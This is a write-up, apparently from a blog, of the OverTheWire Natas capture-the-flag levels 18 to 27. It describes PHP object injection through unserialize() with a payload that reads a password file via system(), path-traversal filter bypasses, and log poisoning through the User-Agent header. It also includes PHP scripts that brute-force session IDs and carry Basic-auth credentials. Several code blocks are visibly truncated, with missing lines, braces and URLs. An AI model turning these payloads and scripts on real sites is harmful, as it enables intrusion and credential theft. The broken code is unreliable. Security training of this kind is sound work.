All the sql code in this level is there to throw us off.  If you pull off a SQL injection on this level let me know, because AFAIK it is not possible.  The trick to beating this level is in the comments at the top of the page.

natas level 27 src

They’re telling us that the database is reset every 5 minutes.  I wonder what would happen if we repeatedly tried to log in with blank creds, with the goal of attempting the login at the same time it’s cleared.  We can use the following script to find out:

for (i = 0; i < 10000; i++) {
    query = "username=natas28&password=";
    xhr = new XMLHttpRequest();"POST", "", false);
        if (xhr.response.indexOf("Here") != -1) {

natas 27 win

Today we’ll be exploiting the unserialize() function in PHP.  The major lesson here is to NEVER unserialize() user input, and I’ll show you why. describes the serialize() function as follows:

“Generates a storable representation of a value.  This is useful for storing or passing PHP values around without losing their type and structure. To make the serialized string into a PHP value again, use unserialize().”  They further state that, “When serializing objects, PHP will attempt to call the member function __sleep() prior to serialization. This is to allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using unserialize() the __wakeup() [or __construct()] member function is called”.

According to OWASP:

“In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

  • The application must have a class which implements a PHP magic method (such as __wakeup or __destruct [or __construct) that can be used to carry out malicious attacks, or to start a ‘POP chain’.
  • All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.”

Well we’ve got a class called Logger that implements __construct() and __destruct(), and it’s what starts off the code, so it is ahead of the unserialize() function, see here:

natas level 26 src 1

Later we can see them unserialize() input via $_COOKIE[“drawing”]:

natas level 26 src 2

What we can do here is pass unserialize() a malicious Logger object that, for example, creates a “log file” call win.php and writes the following message in the “loge file:

<?php system(‘cat /etc/natas_webpass/natas27’);?>

To create the serialized version of the Logger object I edited the source code as follows:

natas level 26 evil 1

As you can see, the $logFile field is set to “img/win.php”, and $exitMsg is set to our malicious php code.  After the class definition I echoed out a serialized and then base64 encoded version of an instance of the Logger object.  It must be base64 encoded because it will later be base64 decoded before being unserialized.  The output looks like this:

natas level 26 evil 2

That is what we will set the “drawing” field of our cookie to.  When this is unserialized by the script, it will create an instance of Logger with the values we set above.  This is because, as previously stated, when unserialize() is used it calls the __construct() function of that object.  This should result in the creation of win.php in the img/ directory of their webserver, which will spit out our password.  Let’s see:

natas level 26 win 1

We see some bullshit about “cannot use type Logger as array”, but the important thing is, was win.php created?

natas level 26 win 2



This one is one of the most involved levels so far, as there are multiple pieces to the puzzle.  Let’s jump right in:

natas level 25 source 1

First we can see they are making an awful lot of effort to prevent us from including arbitrary files via the $filename variable.  This is a big hint that we should probably try to perform local/remote file inclusion to beat the level 🙂   The function safeinclude() is using str_replace() to strip out any series of “../”, which could be used to move backwards towards the directory root and allow us to traverse directories freely.   How can we defeat this?

natas level 25 defeat 1

By setting filename to “….//….//” str_replace() can do its job of removing the “../”, but it still leave behind a “../../” LoLz.  Our next problem is that they are checking for the presence of “natas_webpass” in the filename, if it is detected execution is halted.   Were it not for this the game would already be over, as we could simply direct the function to include the password file.

Since we can’t include the password file, and including remote files seems to fail as well what can we do?  Further down in the code shows a file that we have partial control over:

natas level 25 source 2

logRequest() is saving the date, our user-agent, and $ message in /tmp/natas25_xxxx.log.  Let’s see what this file looks like:

natas level 25 inclusion demo 1

You can see that the log file has successfully been included and contains all the above information including the user-agent, which we can control.  If we set the user-agent to some php code of our choosing, and then include this file it should be executed, let’s try it:

natas level 25 win




Natas level 24 source

To win this level it would appear that we need to get $_REQUEST[“passwd”] to match the value of “censored”.  Maybe there is another way though.  Let’s see what the comments on have to say about the strcmp() function.

natas level 24 comments

As it turns out !strcmp(“foo”, array()) returns “1” AKA “true”,

natas level 24 test

For the win we can make $_REQUEST[“passwd”] an array, to do this just replace the “=” in the request to “[]” like so:

natas level 24 win

natas level 23 source

So we need to get $_REQUEST[“passwd”] to be greater than 10, AND strstr($_REQUEST[“passwd”],”iloveyou”) to evaluate to true.  Let’s examine the behavior of the PHP “>” operator:

natas level 23 > operator

According to “If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically”.  So it looks like this condition will evaluate true when $passwd is a number or starts with a number that is greater than 10, even if letters follow that number.  Great!  So we need to get strstr($_REQUEST[“passwd”],”iloveyou”) to evaluate true and we’ll be set.  The manual says strstr() “Returns the portion of string [starting at the match, to the end of the string], or FALSE if needle is not found”.  Here’s another example to chew on:

natas level 23 strstr

We should have all the information we need to win now:

natas level 23 win




This one was really easy:

natas level 21 source 1

Alls we have to do is set admin=1 for the win.  Let’s try:

natas level 21 first try

Well that didn’t work.  What’s up with this experimenter thing anyway?  I wonder what would happen if we used the PHPSESSID from that and made the same request?

natas level 21 win round 2


Oh…that’s what happens.

There is a lot of code in this one so lets focus in on the some of the more important parts:

natas level 20 win code snippet

Line 23 tells us we need to set $_SESSION[“admin”] == 1. for the win.  We don’t have direct control over the $_SESSION array, but the following code offers an entry point:

 natas level 20 entry point

The focus is on lines 59 – 63.  59 sets up a for loop that iterates once per newline (\n) present in $data.  This is made possible by the explode() function which “returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the string delimiter“.  On line 61 they explode() each member of the array by a space (” “), and set the limit as 2 meaning that it will only split the string by the first space.  Here’s an example to look at:

natas level 20 explode example

For this example I replaced $data with “friends love\nhappiness joy tranquility prosperity” and you can see that the first array key of $_SESSION was set to “friends” with the value “love”.  The second array key was set to “happiness” with the value “joy tranquility prosperity”.  For our hack we need to create an array key called “admin” with its value set to “1”.  We can create the key like this:

Natas level 20 admin key creation

Then all we have to do it set “admin” == 1:

natas level 20



natas level 19 msg

This is a really fabulous hint.  We know we’ll have to brute force the session ID again, and we also know the pattern is not sequential like the previous level, so lets start checking out some sample session IDs:

natas 19 test poop

natas level 19 test admin

Hmmm, all the session IDs consist of letters a-f and digits 0-9, maybe they are in hex?

natas level 19 xxd

xxd – make a hexdump or do the reverse.

It looks like the new pattern is to prepend a random number number plus a dash  to whatever we choose as our username.  So, all we have to do is brute force in the same fashion as last level.  The only difference is that our session ID has to be hex encoded and following their format of “‘xx’-‘username'”.  Here’s what it looks like coded out:

function ascii2hex($ascii) {
    $hex = '';
    for ($i = 0; $i < strlen($ascii); $i++) {
        $byte = strtolower(dechex(ord($ascii{$i})));
        $byte = str_repeat('0', 2 - strlen($byte)).$byte;
    return $hex;

for ($i = 0; $i < 700; $i++) {
    $url = '';
    $data = array('username' => 'admin', 'password' => '');

    // use key 'http' even if you send the request to https://...
    $options = array(
        'http' => array(
            'header'  => "Accept: text/html, application/xhtml+xml, */*\r\nReferer:\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\nHost:\r\nContent-Length: 24\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\nCookie: __cfduid=d672af779cf6a1789ade21ac2f577870b1417409322; __utma=176859643.63743471.1417409345.1418159358.1418253998.5; __utmz=176859643.1417409345.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=".ascii2hex($i."-admin")."\r\nAuthorization: Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false,     $context);
    $result = gzinflate( substr($result, 10, -8));
    echo $i."\n";
    if (!(strpos($result, "You are logged in as a regular user."))) {

natas 19 win

natas level 18 message

No matter what you log in as it says “You are logged in as a regular user. Login as an admin to retrieve credentials for natas19”.

We need to get the session where $_SESSION[‘admin’] == 1, but how do we know which PHPSESSID is associated with this?

natas level 18 source snippet 1

Well earlier in the code we see there is a maximum of 640 PHPSESSIDs:

natas 18 source 2

That shouldn’t take too long to brute force.  Let’s whip up a quick script which will try to login with username ‘admin’ and every PHPSESSID from 1 to 640.

for ($i = 0; $i < 700; $i++) {
    $url = '';
    $data = array('username' => 'admin', 'password' => '');

    // use key 'http' even if you send the request to https://...
    $options = array(
        'http' => array(
        'header'  => "Accept: text/html, application/xhtml+xml, */*\r\nReferer:\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip;q=0, deflate\r\nHost:\r\nContent-Length: 24\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\nCookie: __cfduid=d672af779cf6a1789ade21ac2f577870b1417409322; __utma=176859643.63743471.1417409345.1418159358.1418253998.5; __utmz=176859643.1417409345.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=".$i."\r\nAuthorization: Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data),
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    $result = gzinflate( substr($result, 10, -8));
    echo $i."\n";
    if (strpos($result, "You are an admin.")) {

To get all the correct header values, I tried to login with burp and pasted the header into my code above (the only exception being that PHPSESSID=$i 😀 hehehe).  The server kept returning the page gzipped, lines 14 – 16 return it black to clear text.  We check for the string “You are an admin.” in the response of each request we make, and when it is found we halt execution.

natas 18 win